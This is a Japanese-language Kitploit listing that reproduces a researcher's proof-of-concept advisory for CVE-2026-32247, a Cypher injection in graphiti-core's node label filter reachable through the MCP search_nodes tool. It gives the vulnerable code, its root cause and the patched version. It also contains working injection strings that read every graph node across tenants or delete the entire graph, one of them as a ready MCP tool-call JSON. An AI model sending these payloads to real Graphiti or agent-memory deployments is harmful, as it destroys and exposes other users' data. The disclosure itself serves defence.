Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-32247 — CVE-2026-32247の概念実証。graphiti-coreにおける未サニタイズのnode_labelsを介したCypherインジェクションであり、MCPのsearch_nodesを通じたデータ窃取とグラフ削除を実証する。 | Kitploit
ツール/GitHubGitHub/romain-deperne/cve-2026-32247
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用データベースセキュリティ
GitHubromain-deperne/cve-2026-32247

CVE-2026-32247

CVE-2026-32247の概念実証。graphiti-coreにおける未サニタイズのnode_labelsを介したCypherインジェクションであり、MCPのsearch_nodesを通じたデータ窃取とグラフ削除を実証する。

リポジトリを見る
2351ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-32247 — graphiti-core における未サニタイズの node_labels を介した Cypher インジェクション

深刻度: 高 (CVSS 8.1) CWE: CWE-943 — データクエリロジックにおける特殊要素の不適切な中和 影響を受けるバージョン: graphiti-core <= 0.28.1 (pip) 修正バージョン: 0.28.2 アドバイザリ: GHSA-gg5m-55jj-8m5g NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-32247 クレジット: Romain Deperne

TL;DR

graphiti-core は、ユーザーが指定したノードラベルの文字列を | で結合し、それを生のクエリに連結することで Cypher の WHERE 句を構築しています。攻撃者は任意の Cypher 演算子を注入し、全テナントにまたがる任意のグラフノードからデータを窃取したり、グラフ全体を削除したりすることが可能です。パラメータ化も検証も、この処理チェーンのどこにも存在しません。

分析

私は MCP ツールとグラフデータベースの境界におけるクエリ構築を調査しました。search_filters.py 内では、'n:' + node_labels によって entity_types ツールパラメータの値が直接 Cypher クエリに連結されていました。

これが標準的なインジェクションを超えて興味深い点は、Cypher の WITH 句を使うことで WHERE コンテキストから抜け出し、まったく新しいパイプラインを開始できることです。つまり ) で括弧で囲まれたラベル式を閉じ、WITH n で新しい句へ移行し、// で元のクエリの残りを黙って破棄します。1 つのペイロードで、グラフ全体へのアクセスが可能になります。

私はまずスタンドアロンのスクリプトでクエリ構築を再現し、その後、報告前に破壊的なケースをグラフデータベースに対して検証しました。

影響を受けるコンポーネント

ファイル: graphiti_core/search/search_filters.py、91〜92 行目および 134〜135 行目

# Vulnerable code — exact copy from source
node_labels = '|'.join(filters.node_labels)
node_label_filter = 'n:' + node_labels
# node_label_filter is then interpolated into a Cypher WHERE clause

エントリーポイント: mcp_server/src/graphiti_mcp_server.py、441行目

search_filters = SearchFilters(
    node_labels=entity_types,  # user input passed directly, no validation
)

entity_types パラメータは、MCP の search_nodes ツール呼び出しからクエリビルダーへ直接渡されます。Neo4j と FalkorDB の両バックエンドが影響を受けます。Kuzu バックエンドはパラメータ化クエリを使用しているため、影響を受けません。

根本原因

node_label_filter の値(n:Label1|Label2)は、次のように Cypher クエリに埋め込まれます:

WHERE (n:Label1|Label2) AND ...

ラベルは | で結合され、呼び出し元によって括弧で囲まれるため、攻撃者は式を ) で閉じて新しい Cypher 句を注入するだけで済みます。// コメント演算子は元のクエリの残りを無効化します。

PoC

# Exact logic from search_filters.py lines 91-92
def build_filter(node_labels):
    labels = '|'.join(node_labels)
    return 'n:' + labels

# Benign
print(build_filter(["Person", "Organization"]))
# → n:Person|Organization  →  WHERE (n:Person|Organization) AND ...

# Exfiltration: read all nodes across all groups
print(build_filter(["Entity`) WITH n MATCH (x) RETURN x //"]))
# → n:Entity`) WITH n MATCH (x) RETURN x //
# Full Cypher: WHERE (n:Entity`) WITH n MATCH (x) RETURN x // AND ...
# The `) closes the WHERE, WITH starts a new pipeline, // drops the rest

# Deletion: wipe the entire graph
print(build_filter(["Entity`) WITH n MATCH (x) DETACH DELETE x //"]))

MCP ツール呼び出し経由:

{
  "tool": "search_nodes",
  "arguments": {
    "query": "test",
    "entity_types": ["Entity`) WITH n MATCH (x) DETACH DELETE x //"]
  }
}

影響

  • データ窃取: すべての group_id 名前空間にわたる任意のノード/リレーションシップを読み取り可能
  • データ破壊: DETACH DELETE によりグラフ全体が消去される
  • テナント分離のバイパス: group_id フィルターはインジェクション可能なラベルフィルターの後に適用されるため、WITH 句を注入することで完全にバイパスされる
  • Graphiti は複数の AI エージェントフレームワークでメモリレイヤーとして使用されており、MCP インターフェースにより接続された任意のエージェントからリモートで悪用可能

修正

パッチ適用版では、補間前にノードラベルを英数字の許可リストに対して検証し、全文検索パスでは group_id 値にパラメータ化クエリを使用する。

タイムライン

  • 報告: GHSA プライベートアドバイザリ
  • パッチリリース: graphiti-core 0.28.2
  • CVE 公開: CVE-2026-32247
ツールをダウンロード